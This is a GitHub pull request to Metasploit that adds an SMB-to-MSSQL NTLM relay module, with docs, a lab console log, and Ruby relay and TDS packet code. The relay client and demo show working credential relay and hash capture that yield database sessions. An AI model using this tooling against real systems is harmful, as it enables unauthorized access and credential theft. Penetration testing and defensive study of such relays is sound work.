-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Add an SMB to MSSQL NTLM Relay module #20637
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Changes from all commits
0996cee
581b938
609537d
1cc412d
6f5ff3c
e8c3200
edf7325
7bfa17e
dcb28f5
c2ccac4
67f4072
79b7b54
3ef78ec
100ac4b
ebc7000
000d310
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,80 @@ | ||
| ## Vulnerable Application | ||
|
|
||
| This module supports running an SMB server which validates credentials, and then attempts to execute a relay attack | ||
| against an MSSQL server on the configured RHOSTS hosts. | ||
|
|
||
| If the relay succeeds, an MSSQL session to the target will be created. This can be used by any modules that support | ||
| MSSQL sessions, like `admin/mssql/mssql_enum`. The session can also be used to run arbitrary queries. | ||
|
|
||
| Supports SMBv2, SMBv3, and captures NTLMv1 as well as NTLMv2 hashes. | ||
| SMBv1 is not supported - please see https://github.com/rapid7/metasploit-framework/issues/16261 | ||
|
|
||
| ## Verification Steps | ||
| Example steps in this format (is also in the PR): | ||
|
|
||
| 1. Install MSSQL Server on a Domain Joined host. Ensure that Windows Authentication mode is enabled. | ||
| 2. Start msfconsole, and use the module. | ||
| 3. Set `RHOSTS` to target the MSSQL server. | ||
| 4. On another host, use `net use` to trigger an authentication attempt to metasploit that can be relayed to the target. | ||
|
|
||
| ## Options | ||
|
|
||
| ### RHOSTS | ||
|
|
||
| Target address range or CIDR identifier to relay to. | ||
|
|
||
| ### CAINPWFILE | ||
|
|
||
| A file to store Cain & Abel formatted captured hashes in. Only supports NTLMv1 Hashes. | ||
smcintyre-r7 marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
|
||
| ### JOHNPWFILE | ||
|
|
||
| A file to store John the Ripper formatted hashes in. NTLMv1 and NTLMv2 hashes | ||
| will be stored in separate files. | ||
| I.E. the filename john will produce two files, `john_netntlm` and `john_netntlmv2`. | ||
|
|
||
| ### RELAY_TIMEOUT | ||
|
|
||
| Seconds that the relay socket will wait for a response after the client has | ||
| initiated communication. | ||
|
|
||
| ## Scenarios | ||
| Specific demo of using the module that might be useful in a real world scenario. | ||
|
|
||
| ### MSSQL Server 2019 | ||
|
|
||
| ``` | ||
| [*] Auxiliary module running as background job 0. | ||
| [*] SMB Server is running. Listening on 0.0.0.0:445 | ||
| [*] Server started. | ||
| msf auxiliary(server/relay/smb_to_mssql) > | ||
| [*] New request from 192.168.159.10 | ||
| [*] Received request for MSFLAB\smcintyre | ||
| [*] Relaying to next target mssql://192.168.159.166:1433 | ||
| [+] Identity: MSFLAB\smcintyre - Successfully authenticated against relay target mssql://192.168.159.166:1433 | ||
| [+] Relay succeeded | ||
| [*] MSSQL session 1 opened (192.168.159.128:35967 -> 192.168.159.166:1433) at 2025-10-21 09:33:19 -0400 | ||
| [*] Received request for MSFLAB\smcintyre | ||
| [*] Identity: MSFLAB\smcintyre - All targets relayed to | ||
| [*] New request from 192.168.159.10 | ||
| [*] Received request for MSFLAB\smcintyre | ||
| [*] Identity: MSFLAB\smcintyre - All targets relayed to | ||
| [*] Received request for MSFLAB\smcintyre | ||
| [*] Identity: MSFLAB\smcintyre - All targets relayed to | ||
| msf auxiliary(server/relay/smb_to_mssql) > sessions -i -1 | ||
| [*] Starting interaction with 1... | ||
| mssql @ 192.168.159.166:1433 (master) > query 'SELECT @@version' | ||
| Response | ||
| ======== | ||
| # NULL | ||
| - ---- | ||
| 0 Microsoft SQL Server 2019 (RTM-GDR) (KB5065223) - 15.0.2145.1 (X64) | ||
| Aug 13 2025 11:31:46 | ||
| Copyright (C) 2019 Microsoft Corporation | ||
| Standard Edition (64-bit) on Windows Server 2025 Standard 10.0 <X64> (Build 26100: ) (Hypervisor) | ||
| mssql @ 192.168.159.166:1433 (master) > | ||
| ``` | ||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,82 @@ | ||
| module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::MSSQL | ||
| class Client < Rex::Proto::MSSQL::Client | ||
| attr_reader :target | ||
|
|
||
| def initialize(framework_module, proxies = nil, provider: nil, target: nil, logger: nil, timeout: 30) | ||
| @logger = logger | ||
| @provider = provider | ||
| @target = target | ||
| @timeout = timeout | ||
| super(framework_module, framework_module.framework, target.ip, target.port, proxies) | ||
| end | ||
|
|
||
| def self.create(provider, target, logger, timeout, framework_module:) | ||
| new( | ||
| framework_module, | ||
| provider: provider, | ||
| target: target, | ||
| logger: logger, | ||
| timeout: timeout | ||
| ) | ||
| end | ||
|
|
||
|
|
||
| # @param [String] client_type1_msg | ||
| # @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] | ||
| def relay_ntlmssp_type1(client_type1_msg) | ||
| self.initial_connection_info[:prelogin_data] = mssql_prelogin | ||
|
|
||
| pkt_hdr = MsTdsHeader.new( | ||
| packet_type: MsTdsType::TDS7_LOGIN, | ||
| packet_id: 1 | ||
| ) | ||
|
|
||
| pkt_body = MsTdsLogin7.new( | ||
| option_flags_2: { | ||
| f_int_security: 1 | ||
| }, | ||
| server_name: @target.ip | ||
| ) | ||
|
|
||
| pkt_body.sspi = client_type1_msg.bytes | ||
|
|
||
| pkt_hdr.packet_length += pkt_body.num_bytes | ||
| pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s | ||
|
|
||
| resp = mssql_send_recv(pkt, @timeout, false) | ||
| server_type2_message = resp[3..-1] | ||
|
|
||
| Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new( | ||
| message: Net::NTLM::Message.parse(server_type2_message), | ||
| nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED | ||
| ) | ||
| end | ||
|
|
||
| # @param [String] client_type3_msg | ||
| # @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil] | ||
| def relay_ntlmssp_type3(client_type3_msg) | ||
| pkt_hdr = MsTdsHeader.new( | ||
| type: MsTdsType::SSPI_MESSAGE, | ||
| packet_id: 1 | ||
| ) | ||
|
|
||
| pkt_hdr.packet_length += client_type3_msg.length | ||
| pkt = pkt_hdr.to_binary_s + client_type3_msg | ||
|
|
||
| resp = mssql_send_recv(pkt) | ||
| info = mssql_parse_reply(resp) | ||
| if info[:login_ack] | ||
| nt_status = WindowsError::NTStatus::STATUS_SUCCESS | ||
| else | ||
| nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE | ||
| end | ||
|
|
||
| Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status) | ||
| end | ||
|
|
||
| protected | ||
|
|
||
| attr_reader :logger | ||
| end | ||
| end | ||
|
|
| Original file line number | Diff line number | Diff line change |
|---|---|---|
|
|
@@ -26,8 +26,8 @@ def initialize(info = {}) | |
| register_options( | ||
| [ | ||
| Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]), | ||
| Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'MSSQL']), | ||
| Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'MSSQL']), | ||
| Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', '']), | ||
| Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']), | ||
|
Comment on lines
+29
to
+30
Contributor
Author
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. These seemed very wrong. At least on the database server I freshly installed, there is no Also the default username that's created when the database is installed is |
||
| Msf::Opt::RHOST(nil, false), | ||
| Msf::Opt::RPORT(1433, false) | ||
| ] | ||
|
|
||
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,8 @@ | ||
| module Rex::Proto::MsTds | ||
| require 'rex/proto/ms_tds/ms_tds_type' | ||
| require 'rex/proto/ms_tds/ms_tds_status' | ||
| require 'rex/proto/ms_tds/ms_tds_version' | ||
| require 'rex/proto/ms_tds/ms_tds_header' | ||
| require 'rex/proto/ms_tds/ms_tds_login7_password' | ||
| require 'rex/proto/ms_tds/ms_tds_login7' | ||
| end |
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,16 @@ | ||
| # -*- coding: binary -*- | ||
|
|
||
| require 'bindata' | ||
|
|
||
| module Rex::Proto::MsTds | ||
| class MsTdsHeader < BinData::Record | ||
| endian :big | ||
|
|
||
| ms_tds_type :packet_type | ||
| ms_tds_status :status, initial_value: MsTdsStatus::END_OF_MESSAGE | ||
| uint16 :packet_length, initial_value: 8 | ||
| uint16 :spid | ||
| uint8 :packet_id | ||
| uint8 :window | ||
| end | ||
| end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.